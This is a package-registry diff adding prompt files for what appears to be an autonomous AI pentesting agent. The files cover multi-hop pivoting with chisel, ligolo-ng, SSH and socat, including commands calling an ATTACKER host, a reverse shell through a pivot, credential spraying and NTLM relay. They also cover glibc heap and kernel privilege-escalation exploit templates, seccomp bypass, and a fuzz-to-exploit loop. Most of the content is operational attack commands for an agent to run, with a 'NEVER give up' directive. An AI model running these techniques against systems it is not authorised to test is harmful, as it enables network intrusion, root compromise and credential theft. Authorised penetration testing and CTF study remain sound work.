pentesting 0.56.7 → 0.70.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +20 -0
- package/dist/main.js +1384 -707
- package/dist/prompts/base.md +51 -79
- package/dist/prompts/offensive-playbook.md +139 -47
- package/dist/prompts/strategist-system.md +78 -33
- package/dist/prompts/techniques/ad-attack.md +114 -9
- package/dist/prompts/techniques/auth-access.md +165 -21
- package/dist/prompts/techniques/enterprise-pentest.md +175 -0
- package/dist/prompts/techniques/injection.md +4 -0
- package/dist/prompts/techniques/network-svc.md +4 -0
- package/dist/prompts/techniques/pivoting.md +205 -0
- package/dist/prompts/techniques/privesc.md +4 -0
- package/dist/prompts/techniques/pwn.md +187 -3
- package/dist/prompts/techniques/shells.md +4 -0
- package/dist/prompts/zero-day.md +125 -0
- package/package.json +2 -2
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
# Pivoting & Multi-Hop Tunneling — Autonomous Guide
|
|
2
|
+
|
|
3
|
+
> **Cross-ref**: lateral.md (movement), ad-attack.md (AD pivoting), network-svc.md (internal services)
|
|
4
|
+
|
|
5
|
+
## Core Principle
|
|
6
|
+
|
|
7
|
+
Pivoting = using a compromised host as a relay to reach previously unreachable network segments.
|
|
8
|
+
The agent on the **outer host** can only reach the **inner network** through a pivot chain.
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## Pivot Decision Tree
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
GOT SHELL ON HOST? → Run immediately:
|
|
16
|
+
ip a / ifconfig → list interfaces (look for 2+ NICs = pivot candidate)
|
|
17
|
+
ip route / route -n → routing table (internal subnets)
|
|
18
|
+
arp -a → visible hosts (discovered via ARP)
|
|
19
|
+
cat /etc/hosts → hardcoded internal names
|
|
20
|
+
netstat -an → internal listening services
|
|
21
|
+
ss -tlnp → listening ports (Linux)
|
|
22
|
+
|
|
23
|
+
FOUND INTERNAL SUBNET (e.g. 10.10.100.0/24)?
|
|
24
|
+
→ Port scan via pivot: nmap through socks proxy or chisel
|
|
25
|
+
→ Identify services → exploit from outer agent via tunnel
|
|
26
|
+
|
|
27
|
+
FOUND INTERNAL HOST NAMES?
|
|
28
|
+
→ DNS resolution from pivot: dig @internal-DNS hostname
|
|
29
|
+
→ Look for: DC, DB, git, admin, intranet, mail
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Method 1: SSH Tunneling (if SSH available on pivot)
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
LOCAL PORT FORWARD — access pivot's localhost from attacker:
|
|
38
|
+
ssh -L 8080:127.0.0.1:80 user@PIVOT
|
|
39
|
+
→ Now: http://localhost:8080 = http://PIVOT:80
|
|
40
|
+
|
|
41
|
+
REMOTE PORT FORWARD — expose attacker port through pivot:
|
|
42
|
+
ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT
|
|
43
|
+
→ From PIVOT: nc attacker 4444 reaches attacker's local 4444
|
|
44
|
+
|
|
45
|
+
DYNAMIC SOCKS PROXY — route arbitrary traffic through pivot:
|
|
46
|
+
ssh -D 1080 user@PIVOT
|
|
47
|
+
→ proxychains / nmap --proxies socks4://127.0.0.1:1080 INTERNAL_TARGET
|
|
48
|
+
|
|
49
|
+
MULTI-HOP (3 hops):
|
|
50
|
+
ssh -J user@HOP1,user@HOP2 user@FINAL_TARGET
|
|
51
|
+
ssh -L 8080:INTERNAL:80 -J user@HOP1 user@HOP2
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Method 2: Chisel (No SSH Required — TCP over HTTP)
|
|
57
|
+
|
|
58
|
+
```
|
|
59
|
+
ATTACKER SIDE (server):
|
|
60
|
+
chisel server --port 8080 --reverse
|
|
61
|
+
|
|
62
|
+
PIVOT SIDE (client — upload chisel binary):
|
|
63
|
+
chisel client ATTACKER:8080 R:socks → SOCKS5 on attacker:1080
|
|
64
|
+
chisel client ATTACKER:8080 R:4444:10.10.100.5:22 → forward specific port
|
|
65
|
+
|
|
66
|
+
MULTI-HOP chisel:
|
|
67
|
+
HOP1 connects to attacker → SOCKS on attacker:1080
|
|
68
|
+
HOP2 connects to HOP1 via proxychains → SOCKS chain
|
|
69
|
+
|
|
70
|
+
USAGE with proxychains:
|
|
71
|
+
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
|
|
72
|
+
proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.10.100.0/24
|
|
73
|
+
proxychains evil-winrm -i 10.10.100.5 -u admin -p pass
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## Method 3: Ligolo-ng (Kernel TUN — fastest, cleanest)
|
|
79
|
+
|
|
80
|
+
```
|
|
81
|
+
ATTACKER (proxy):
|
|
82
|
+
sudo ip tuntap add user $USER mode tun ligolo
|
|
83
|
+
sudo ip link set ligolo up
|
|
84
|
+
./proxy -selfcert
|
|
85
|
+
|
|
86
|
+
PIVOT (agent — upload binary):
|
|
87
|
+
./agent -connect ATTACKER:11601 -ignore-cert
|
|
88
|
+
|
|
89
|
+
ATTACKER — after agent connects:
|
|
90
|
+
session → select agent
|
|
91
|
+
listener_add --addr 0.0.0.0:1234 --to 10.10.100.5:22 → port forward
|
|
92
|
+
start → add route: sudo ip route add 10.10.100.0/24 dev ligolo
|
|
93
|
+
→ Now: ssh admin@10.10.100.5 directly (no proxychains!)
|
|
94
|
+
|
|
95
|
+
MULTI-HOP with ligolo:
|
|
96
|
+
Agent on HOP1 → reach HOP2 network
|
|
97
|
+
Upload agent to HOP2 → connect through ligolo listener on HOP1
|
|
98
|
+
web_search("ligolo-ng double pivot setup multi-hop")
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
## Method 4: Metasploit Route / SOCKS
|
|
104
|
+
|
|
105
|
+
```
|
|
106
|
+
meterpreter session on pivot:
|
|
107
|
+
background
|
|
108
|
+
use post/multi/manage/autoroute
|
|
109
|
+
set SESSION 1 → run
|
|
110
|
+
|
|
111
|
+
Then:
|
|
112
|
+
use auxiliary/server/socks_proxy → set VERSION 5 → run
|
|
113
|
+
→ proxychains through Metasploit SOCKS on 127.0.0.1:1080
|
|
114
|
+
|
|
115
|
+
portfwd in meterpreter:
|
|
116
|
+
portfwd add -l 3389 -p 3389 -r INTERNAL_HOST
|
|
117
|
+
→ rdesktop localhost:3389
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Method 5: Netcat / Socat Relay (No binary upload — abuse existing tools)
|
|
123
|
+
|
|
124
|
+
```
|
|
125
|
+
NETCAT RELAY (if mkfifo available):
|
|
126
|
+
mkfifo /tmp/pipe
|
|
127
|
+
nc -l -p 4444 < /tmp/pipe | nc INTERNAL_TARGET 22 > /tmp/pipe
|
|
128
|
+
|
|
129
|
+
SOCAT RELAY:
|
|
130
|
+
socat TCP-LISTEN:4444,fork TCP:INTERNAL_TARGET:22
|
|
131
|
+
→ Persistent relay: socat TCP-LISTEN:4444,fork,reuseaddr TCP:TARGET:22
|
|
132
|
+
|
|
133
|
+
SOCAT SOCKS PROXY (if socat version supports it):
|
|
134
|
+
socat TCP-LISTEN:1080,fork SOCKS4A:localhost:INTERNAL_HOST:PORT,socksport=1080
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## Internal Network Scanning via Pivot
|
|
140
|
+
|
|
141
|
+
```
|
|
142
|
+
VIA PROXYCHAINS (any pivot method):
|
|
143
|
+
proxychains nmap -sT -Pn -p 22,80,443,445,1433,3306,3389,5985,6379,8080 INTERNAL/24
|
|
144
|
+
proxychains nmap -sT -Pn --top-ports 100 INTERNAL/24
|
|
145
|
+
|
|
146
|
+
BASH PING SWEEP (when no tools):
|
|
147
|
+
for i in $(seq 1 254); do ping -c1 -W1 10.10.100.$i &>/dev/null && echo "10.10.100.$i UP"; done
|
|
148
|
+
|
|
149
|
+
BASH PORT SCAN (when no tools):
|
|
150
|
+
for port in 22 80 443 445 3389 5985; do
|
|
151
|
+
(echo >/dev/tcp/10.10.100.5/$port) 2>/dev/null && echo "$port OPEN"
|
|
152
|
+
done
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## Reverse Shell Through Pivot
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
DOUBLE PIVOT — get shell from deep internal host back to outside:
|
|
161
|
+
|
|
162
|
+
Method A: Chisel reverse
|
|
163
|
+
Outer SOCKS → proxychains + outer listener
|
|
164
|
+
Inner host connects outbound (if egress allowed):
|
|
165
|
+
chisel client ATTACKER:8080 R:4445:127.0.0.1:4445
|
|
166
|
+
|
|
167
|
+
Method B: Meterpreter bind shell
|
|
168
|
+
proxychains exploit/multi/handler (PAYLOAD: bind_tcp on INTERNAL_HOST)
|
|
169
|
+
lhost=INTERNAL_HOST → proxychains connect inbound
|
|
170
|
+
|
|
171
|
+
Method C: SSH -R through existing session
|
|
172
|
+
From inner host: ssh -R 9001:127.0.0.1:9001 pivot_user@PIVOT
|
|
173
|
+
From attacker: nc PIVOT:9001
|
|
174
|
+
|
|
175
|
+
Reverse shell via proxy (if internal host has egress):
|
|
176
|
+
→ Set attacker IP as destination (should reach PIVOT, then routed back)
|
|
177
|
+
→ Verify connectivity: proxychains curl http://ATTACKER:8080/test
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## Credential Spray Across Pivoted Networks
|
|
183
|
+
|
|
184
|
+
```
|
|
185
|
+
Once you have credentials from the outer network → always spray internally:
|
|
186
|
+
proxychains crackmapexec smb 10.10.100.0/24 -u user -p pass --continue-on-success
|
|
187
|
+
proxychains crackmapexec winrm 10.10.100.0/24 -u user -p pass
|
|
188
|
+
proxychains impacket-psexec DOMAIN/user:pass@INTERNAL_HOST
|
|
189
|
+
|
|
190
|
+
Credential relay internally:
|
|
191
|
+
proxychains impacket-ntlmrelayx -t INTERNAL_TARGET -smb2support
|
|
192
|
+
Coerce auth from pivot: PetitPotam, PrinterBug, MS-RPRN
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Search Patterns
|
|
198
|
+
|
|
199
|
+
```
|
|
200
|
+
web_search("chisel multi-hop pivot {year}")
|
|
201
|
+
web_search("ligolo-ng double pivot internal network")
|
|
202
|
+
web_search("proxychains nmap internal network scanning")
|
|
203
|
+
web_search("pivot {OS} tunneling no binary upload")
|
|
204
|
+
web_search("reverse shell through pivot NAT traversal")
|
|
205
|
+
```
|
|
@@ -1,5 +1,9 @@
|
|
|
1
1
|
# Privilege Escalation — Comprehensive Autonomous Guide
|
|
2
2
|
|
|
3
|
+
> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
|
|
4
|
+
> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
|
|
5
|
+
> to decide what to test and in what order. Adapt dynamically — not to this list.
|
|
6
|
+
|
|
3
7
|
> **Cross-ref**: shells.md (shell access), post.md (post-exploitation), lateral.md (lateral movement)
|
|
4
8
|
|
|
5
9
|
## Core Principle
|
|
@@ -1,5 +1,9 @@
|
|
|
1
1
|
# Binary Exploitation (Pwn) — Comprehensive CTF Guide
|
|
2
2
|
|
|
3
|
+
> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
|
|
4
|
+
> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
|
|
5
|
+
> to decide what to test and in what order. Adapt dynamically — not to this list.
|
|
6
|
+
|
|
3
7
|
> **Cross-ref**: exploit.md (shell strategy), evasion.md (bypass), shells.md (shell types)
|
|
4
8
|
|
|
5
9
|
## Phase 0: Recon — Identify Protections
|
|
@@ -258,9 +262,54 @@ House Techniques (Named Patterns):
|
|
|
258
262
|
├── House of Orange → forge unsorted bin chunk from top chunk
|
|
259
263
|
├── House of Botcake → tcache + unsorted bin overlap (2.31+)
|
|
260
264
|
├── House of Pig → largebin + tcache stashing → arbitrary write
|
|
261
|
-
|
|
262
|
-
├── House of
|
|
263
|
-
|
|
265
|
+
│
|
|
266
|
+
├── House of Banana (glibc 2.35+ — exit-time RCE via rtld_global):
|
|
267
|
+
│ ├── Prerequisite: heap write primitive + libc/ld-linux base leak
|
|
268
|
+
│ ├── Target: _rtld_global (ld.so global) → _dl_audit chain
|
|
269
|
+
│ ├── Attack path:
|
|
270
|
+
│ │ ├── 1. Leak ld.so base (via libc → _rtld_global symbol offset)
|
|
271
|
+
│ │ │ ld_base = libc.address + libc.symbols['_rtld_global'] - ld.symbols['_rtld_global']
|
|
272
|
+
│ │ ├── 2. Locate: _rtld_global._dl_ns[0]._ns_loaded → link_map ptr
|
|
273
|
+
│ │ ├── 3. In link_map: l_audit_any_plt / l_auditing fields
|
|
274
|
+
│ │ ├── 4. Forge fake link_map on heap:
|
|
275
|
+
│ │ │ fake_lm = flat({0x28: heap_base + fake_lm_offset}) # l_next
|
|
276
|
+
│ │ │ # at offset 0x340: pointer to fake audit struct
|
|
277
|
+
│ │ ├── 5. Fake audit struct: ae_funcptr → system or one_gadget
|
|
278
|
+
│ │ ├── 6. Trigger: call exit() or return from main → _dl_audit_preinit fires
|
|
279
|
+
│ │ └── Template:
|
|
280
|
+
│ │ from pwn import *
|
|
281
|
+
│ │ # After leaks:
|
|
282
|
+
│ │ rtld_global = ld.sym['_rtld_global']
|
|
283
|
+
│ │ dl_ns = rtld_global # _dl_ns[0] at offset 0
|
|
284
|
+
│ │ ns_loaded = dl_ns # _ns_loaded is first field
|
|
285
|
+
│ │ # Write fake link_map → audit struct → funcptr = system
|
|
286
|
+
│ │ # Details vary per binary — confirm struct offsets with gdb:
|
|
287
|
+
│ │ # gdb: p &_rtld_global._dl_ns[0]._ns_loaded
|
|
288
|
+
│ └── web_search("house of banana glibc 2.35 exploit script site:github.com")
|
|
289
|
+
│
|
|
290
|
+
├── House of Kiwi (glibc 2.35+ — _IO_FILE vtable abuse without __free_hook):
|
|
291
|
+
│ ├── Context: glibc 2.24+ removed __free_hook/__malloc_hook; vtable check added
|
|
292
|
+
│ ├── Bypass: _IO_obstack_jumps / _IO_cookie_jumps are NOT checked (whitelisted)
|
|
293
|
+
│ ├── Attack path A — _IO_flush via exit():
|
|
294
|
+
│ │ ├── 1. Overwrite _IO_helper_jumps vtable (in _IO_obstack_jumps range)
|
|
295
|
+
│ │ ├── 2. Corrupt _IO_2_1_stderr_ → vtable → _IO_obstack_jumps + offset
|
|
296
|
+
│ │ ├── 3. Set wide_data / Bckp_base pointers → control RIP
|
|
297
|
+
│ │ └── Trigger: fflush(stderr) or exit() → _IO_flush_all_lockp fires
|
|
298
|
+
│ ├── Attack path B — _IO_cookie_write:
|
|
299
|
+
│ │ ├── 1. Forge _IO_cookie_file struct on heap
|
|
300
|
+
│ │ ├── 2. Set __io_functions.write = system (after pointer mangling)
|
|
301
|
+
│ │ │ # glibc 2.32+ mangles fn ptr: stored = (fn >> 17) | (fn << 47) ^ key
|
|
302
|
+
│ │ │ # key is at fs:0x30; leak it or use partial overwrite
|
|
303
|
+
│ │ ├── 3. Trigger fwrite() to the fake cookie → write callback fires
|
|
304
|
+
│ │ └── python:
|
|
305
|
+
│ │ mangled = ror(system ^ cookie_key, 17, 64) # pwntools ror()
|
|
306
|
+
│ ├── Pointer mangling (glibc 2.32+ IMPORTANT):
|
|
307
|
+
│ │ ├── Function pointers in _IO structs are XOR-rotated before storage
|
|
308
|
+
│ │ ├── Leak the key: read fs:0x30 (TLS pointer), or partial-overwrite
|
|
309
|
+
│ │ └── Formula: stored = ROR64((fn ^ key), 17) → reverse: fn = ROL64(stored,17) ^ key
|
|
310
|
+
│ └── web_search("house of kiwi IO_FILE vtable bypass glibc 2.35")
|
|
311
|
+
│
|
|
312
|
+
└── house of XXX → web_search("house of XXX heap exploitation site:github.com")
|
|
264
313
|
|
|
265
314
|
═══════════════════════════════════════
|
|
266
315
|
Debugging heap with gdb:
|
|
@@ -409,3 +458,138 @@ Vulnerability → Exploitation Flow:
|
|
|
409
458
|
├── SUID binary → exploit → get that user's privileges
|
|
410
459
|
└── Server binary on port → connect and exploit live
|
|
411
460
|
```
|
|
461
|
+
|
|
462
|
+
## Kernel Exploitation — Deep Dive (Advanced Level)
|
|
463
|
+
|
|
464
|
+
```
|
|
465
|
+
KERNEL SETUP & ENVIRONMENT:
|
|
466
|
+
├── Extract fs: binwalk -e bzImage / extract-vmlinux bzImage
|
|
467
|
+
├── Run CTF qemu: qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio.gz
|
|
468
|
+
│ -append "console=ttyS0 nokaslr" -m 128M -nographic
|
|
469
|
+
├── Debug: qemu + -s -S → gdb vmlinux → target remote :1234
|
|
470
|
+
├── Extract rootfs: mkdir rootfs && cd rootfs && cpio -idmv < ../rootfs.cpio.gz
|
|
471
|
+
├── Patch init to run as root / add your exploit binary
|
|
472
|
+
└── Repack: find . | cpio -H newc -o --owner root:root | gzip > rootfs.cpio.gz
|
|
473
|
+
|
|
474
|
+
KERNEL PROTECTIONS:
|
|
475
|
+
├── KASLR: base randomized → need kernel address leak
|
|
476
|
+
│ leaks: syslog (if dmesg allowed), /proc/kallsyms (if readable)
|
|
477
|
+
│ spray addresses, or use physmap (when mmap_min_addr=0)
|
|
478
|
+
├── SMEP: can't execute userspace pages in kernel mode → kernel ROP only
|
|
479
|
+
│ bypass: disable SMEP (clear bit 20 in CR4) via kernel gadget
|
|
480
|
+
├── SMAP: can't access userspace memory in kernel mode
|
|
481
|
+
│ bypass: disable SMAP (clear bit 21 in CR4) or use copy_from/to_user
|
|
482
|
+
├── KPTI: separate page tables for user/kernel → flush on context switch
|
|
483
|
+
│ exploit: use KPTI trampoline swapgs_restore_regs_and_return_to_usermode
|
|
484
|
+
│ (symbol in /proc/kallsyms or calculate from vmlinux)
|
|
485
|
+
└── Stack Canary: same as user-space, leaked via info disclosure
|
|
486
|
+
|
|
487
|
+
KERNEL ROP CHAIN — ret2usr (when SMEP disabled):
|
|
488
|
+
├── Control RIP via kernel overflow
|
|
489
|
+
├── ROP: disable SMEP/SMAP → call userspace function pointer
|
|
490
|
+
│ mov cr4, <value_without_smep> ; ret
|
|
491
|
+
├── Userspace shellcode:
|
|
492
|
+
│ void shell() {
|
|
493
|
+
│ commit_creds(prepare_kernel_cred(NULL)); // root creds
|
|
494
|
+
│ // return to userspace:
|
|
495
|
+
│ asm("swapgs; iretq");
|
|
496
|
+
│ }
|
|
497
|
+
└── Restore context: need original rip/cs/rflags/rsp/ss saved before exploit
|
|
498
|
+
|
|
499
|
+
COMMIT_CREDS PATTERN:
|
|
500
|
+
├── commit_creds(prepare_kernel_cred(NULL)) → uid/gid = 0
|
|
501
|
+
├── Addresses: grep in /proc/kallsyms (if readable) or vmlinux offsets
|
|
502
|
+
├── Kernel ROP: pop rdi; ret → 0 → prepare_kernel_cred → pop rdi; ret →
|
|
503
|
+
│ rax (result) → commit_creds → recover_to_userspace
|
|
504
|
+
└── After root: execve("/bin/sh") or system command
|
|
505
|
+
|
|
506
|
+
MODPROBE_PATH OVERWRITE (powerful, no SMEP bypass needed):
|
|
507
|
+
├── When: have arbitrary kernel write primitive
|
|
508
|
+
├── Steps:
|
|
509
|
+
│ 1. Overwrite modprobe_path (/sbin/modprobe) with /tmp/pwn script
|
|
510
|
+
│ 2. /tmp/pwn: #!/bin/sh\n cp /flag /tmp/flag && chmod 777 /tmp/flag
|
|
511
|
+
│ 3. Execute unknown file format → kernel calls modprobe_path
|
|
512
|
+
│ echo -ne '\xff\xff\xff\xff' > /tmp/bad; chmod +x /tmp/bad; /tmp/bad
|
|
513
|
+
│ 4. /tmp/flag now readable
|
|
514
|
+
└── Works even without executing shellcode (bypasses SMEP/NX)
|
|
515
|
+
|
|
516
|
+
KERNEL UAF → FUNCTION POINTER OVERWRITE:
|
|
517
|
+
├── Typical flow:
|
|
518
|
+
│ 1. Allocate kernel object via ioctl / socket / open
|
|
519
|
+
│ 2. Free it (without destroying reference)
|
|
520
|
+
│ 3. Spray heap with controlled data (reclaim freed slot)
|
|
521
|
+
│ 4. Original pointer now points to attacker-controlled struct
|
|
522
|
+
│ 5. Function pointer called → code execution
|
|
523
|
+
├── Heap spray: open many /proc or socket fds, read/send data
|
|
524
|
+
└── Object size: match target struct size for reliable reclaim
|
|
525
|
+
|
|
526
|
+
KERNEL RACE CONDITIONS (TOCTOU):
|
|
527
|
+
├── Double-fetch: kernel reads userspace value twice, race between reads
|
|
528
|
+
├── Concurrent ioctl/syscall: race window between check and use
|
|
529
|
+
├── Exploitation: spin up threads, hammer concurrent syscalls
|
|
530
|
+
├── Tools: race_condition keyword, userfaultfd for precise racing
|
|
531
|
+
└── web_search("kernel TOCTOU exploit userfaultfd technique")
|
|
532
|
+
|
|
533
|
+
USEFUL KERNEL PRIMITIVES:
|
|
534
|
+
├── Arbitrary read: copy_from_user leak, info leak via syslog/proc
|
|
535
|
+
├── Arbitrary write: kmalloc + controlled content + overflow/UAF
|
|
536
|
+
├── Heap spray: open many /proc/self/mem, msg_msg (msgsnd), pipe buffers
|
|
537
|
+
├── msg_msg: sendmsg to reclaim freed kernel object (kmalloc-N sized)
|
|
538
|
+
└── setxattr: arbitrary kernel heap write (controllable size + content)
|
|
539
|
+
```
|
|
540
|
+
|
|
541
|
+
## ROP Deep Patterns (Advanced)
|
|
542
|
+
|
|
543
|
+
```
|
|
544
|
+
RET2DLRESOLVE — No libc file needed:
|
|
545
|
+
from pwn import *
|
|
546
|
+
elf = ELF('./binary')
|
|
547
|
+
rop = ROP(elf)
|
|
548
|
+
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
|
|
549
|
+
rop.read(0, dlresolve.data_addr) # write the fake structures
|
|
550
|
+
rop.ret2dlresolve(dlresolve)
|
|
551
|
+
# send: padding + rop.chain() + then dlresolve.payload
|
|
552
|
+
|
|
553
|
+
BLIND ROP (BROP) — No binary, only crash/non-crash:
|
|
554
|
+
├── Goal: exploit a stack overflow with only socket feedback
|
|
555
|
+
├── Step 1: Find overflow offset (binary search on payload length)
|
|
556
|
+
├── Step 2: Find "stop gadget" (causes infinite loop, keeps connection)
|
|
557
|
+
├── Step 3: Blindly probe for ROP gadgets (brop gadget is canonical)
|
|
558
|
+
│ ├── BROP gadget: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
|
|
559
|
+
│ └── Dump PLT entries to find puts → dump binary from memory
|
|
560
|
+
├── Step 4: Leak binary via puts over socket
|
|
561
|
+
├── Step 5: Standard ROP exploit from dumped binary
|
|
562
|
+
└── web_search("blind rop brop exploit tutorial")
|
|
563
|
+
|
|
564
|
+
STACK PIVOT (when controlled buffer too small for full ROP):
|
|
565
|
+
├── Gadget: xchg rsp, rax / leave; ret / pop rsp; ret
|
|
566
|
+
├── Target: large controlled buffer (heap, data section, mmap)
|
|
567
|
+
├── build full ROP chain there → pivot RSP to it
|
|
568
|
+
└── Common: fake frame on heap → leave; ret pivots there
|
|
569
|
+
|
|
570
|
+
SIGROP / SROP in depth:
|
|
571
|
+
├── Abuses sigreturn syscall (15 on x86_64) to set ALL registers
|
|
572
|
+
├── syscall; ret → rax=15 → sigreturn → kernel restores all regs from stack frame
|
|
573
|
+
├── Full SigreturnFrame:
|
|
574
|
+
│ frame = SigreturnFrame()
|
|
575
|
+
│ frame.rip = execve_syscall_addr # or any gadget
|
|
576
|
+
│ frame.rsp = rsp # controlled stack
|
|
577
|
+
│ frame.rax = 59 # SYS_execve
|
|
578
|
+
│ frame.rdi = binsh_addr
|
|
579
|
+
│ frame.rsi = frame.rdx = 0
|
|
580
|
+
├── Useful when: very few gadgets, only syscall; ret available
|
|
581
|
+
└── orw shellcode path when execve blocked by seccomp
|
|
582
|
+
|
|
583
|
+
SECCOMP BYPASS:
|
|
584
|
+
├── Check: seccomp-tools dump ./binary → see allowed syscalls
|
|
585
|
+
│ seccomp-tools asm → assemble BPF filters
|
|
586
|
+
├── Common CTF: execve blocked → use open+read+write (ORW)
|
|
587
|
+
│ fd = open("flag.txt", O_RDONLY)
|
|
588
|
+
│ read(fd, buf, 0x100)
|
|
589
|
+
│ write(1, buf, 0x100)
|
|
590
|
+
├── Shellcraft: shellcraft.open() + shellcraft.read(3,'rsp',100) + shellcraft.write(1,'rsp',100)
|
|
591
|
+
├── Filter bypass: if using 32-bit mode (ptrace SECCOMP allows different arch)
|
|
592
|
+
│ int 0x80 in 64-bit process: uses 32-bit syscall numbers!
|
|
593
|
+
│ open=5 (32-bit) may not be filtered if filter only blocks 64-bit open=2
|
|
594
|
+
└── web_search("seccomp bypass technique {year} CTF")
|
|
595
|
+
```
|
|
@@ -1,5 +1,9 @@
|
|
|
1
1
|
# Shell Operations — Comprehensive Autonomous Guide
|
|
2
2
|
|
|
3
|
+
> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
|
|
4
|
+
> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
|
|
5
|
+
> to decide what to test and in what order. Adapt dynamically — not to this list.
|
|
6
|
+
|
|
3
7
|
> **Cross-ref**: exploit.md (initial access), post.md (post-exploitation), lateral.md (pivoting)
|
|
4
8
|
|
|
5
9
|
## Core Principle
|
package/dist/prompts/zero-day.md
CHANGED
|
@@ -170,3 +170,128 @@ DISCOVERY → SEARCH → ATTACK → ADAPT → CHAIN → PIVOT → REPEAT
|
|
|
170
170
|
NEVER give up. ALWAYS search. The answer exists on the internet.
|
|
171
171
|
web_search("how to exploit {specific_thing_you_discovered}")
|
|
172
172
|
```
|
|
173
|
+
|
|
174
|
+
## 🎯 Phase C: DEF CON / Enterprise Level
|
|
175
|
+
|
|
176
|
+
### C1: Fuzzing Loop — Write, Compile, Fuzz, Analyze
|
|
177
|
+
```
|
|
178
|
+
When dealing with compiled targets or custom protocols:
|
|
179
|
+
|
|
180
|
+
AFL++ / LibFuzzer Loop:
|
|
181
|
+
1. write_file("fuzz_target.c", harness_code)
|
|
182
|
+
- Harness: reads from stdin → passes to target function
|
|
183
|
+
- Prototype: int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
|
184
|
+
2. run_cmd("AFL_USE_ASAN=1 afl-cc -o fuzz_target fuzz_target.c -fsanitize=address")
|
|
185
|
+
3. run_cmd("afl-fuzz -i seed_corpus/ -o findings/ -- ./fuzz_target @@")
|
|
186
|
+
4. Monitor: run_cmd("afl-whatsup findings/") → crash rate, path coverage
|
|
187
|
+
5. Triage: run_cmd("afl-cmin -i findings/ -o min/ -- ./fuzz_target @@")
|
|
188
|
+
6. Analyze: for crash in findings/crashes/*; do
|
|
189
|
+
ASAN_OPTIONS=symbolize=1 ./fuzz_target $crash
|
|
190
|
+
done
|
|
191
|
+
7. Root cause → write exploit
|
|
192
|
+
|
|
193
|
+
Network Fuzzer (custom protocol):
|
|
194
|
+
write_file("fuzzer.py", """
|
|
195
|
+
import socket, itertools, random
|
|
196
|
+
def mutate(data): # bit flip, byte replace, insert/delete
|
|
197
|
+
...
|
|
198
|
+
for payload in corpus:
|
|
199
|
+
s = socket.connect(HOST, PORT)
|
|
200
|
+
s.send(mutate(payload))
|
|
201
|
+
response = s.recv(1024)
|
|
202
|
+
if unusual(response): log(payload, response)
|
|
203
|
+
""")
|
|
204
|
+
run_cmd("python3 fuzzer.py")
|
|
205
|
+
|
|
206
|
+
web_search("AFL++ tutorial custom protocol fuzzing {year}")
|
|
207
|
+
web_search("libfuzzer harness writing guide {binary_type}")
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
### C2: Patch Diffing → N-Day/1-Day Exploitation
|
|
211
|
+
```
|
|
212
|
+
When target is slightly behind on patches:
|
|
213
|
+
|
|
214
|
+
1. Identify version: banner, file metadata, build strings
|
|
215
|
+
2. Find next patched version:
|
|
216
|
+
web_search("{software} {version} → {next_version} security changelog")
|
|
217
|
+
web_search("{software} CVE {year} patch commit")
|
|
218
|
+
3. If open source → diff:
|
|
219
|
+
git clone {repo}
|
|
220
|
+
git diff v{old_version} v{new_version} -- {likely_vuln_files}
|
|
221
|
+
→ Look for: bounds checks added, condition added before dangerous call
|
|
222
|
+
4. Understand the vulnerability class from the diff
|
|
223
|
+
5. Craft exploit targeting the exact unfixed version
|
|
224
|
+
6. Test locally with same version → adapt to remote
|
|
225
|
+
|
|
226
|
+
Patch diffing tools:
|
|
227
|
+
├── bindiff (IDA plugin): binary-level diff between versions
|
|
228
|
+
├── diaphora (free alternative): similar to bindiff
|
|
229
|
+
├── patchdiff2: older but works
|
|
230
|
+
└── web_search("bindiff tutorial patch diffing binary exploitation")
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
### C3: Variant Hunting — Known Bug Class, Unknown Instances
|
|
234
|
+
```
|
|
235
|
+
Once you find ONE vulnerability, hunt for variants:
|
|
236
|
+
|
|
237
|
+
Source code search:
|
|
238
|
+
grep -rn "same_dangerous_pattern" src/
|
|
239
|
+
grep -rn "similar_function_name" --include="*.c" .
|
|
240
|
+
|
|
241
|
+
Binary variant hunting:
|
|
242
|
+
├── If SQLi here → test ALL similar parameters in ALL endpoints
|
|
243
|
+
├── If UAF in module A → check module B's dealloc order
|
|
244
|
+
├── If path traversal in /upload → test /backup, /export, /download
|
|
245
|
+
|
|
246
|
+
IDOR/Logic flaw variants:
|
|
247
|
+
├── Found IDOR on id= → test: user_id= order_id= doc_id= ref= token=
|
|
248
|
+
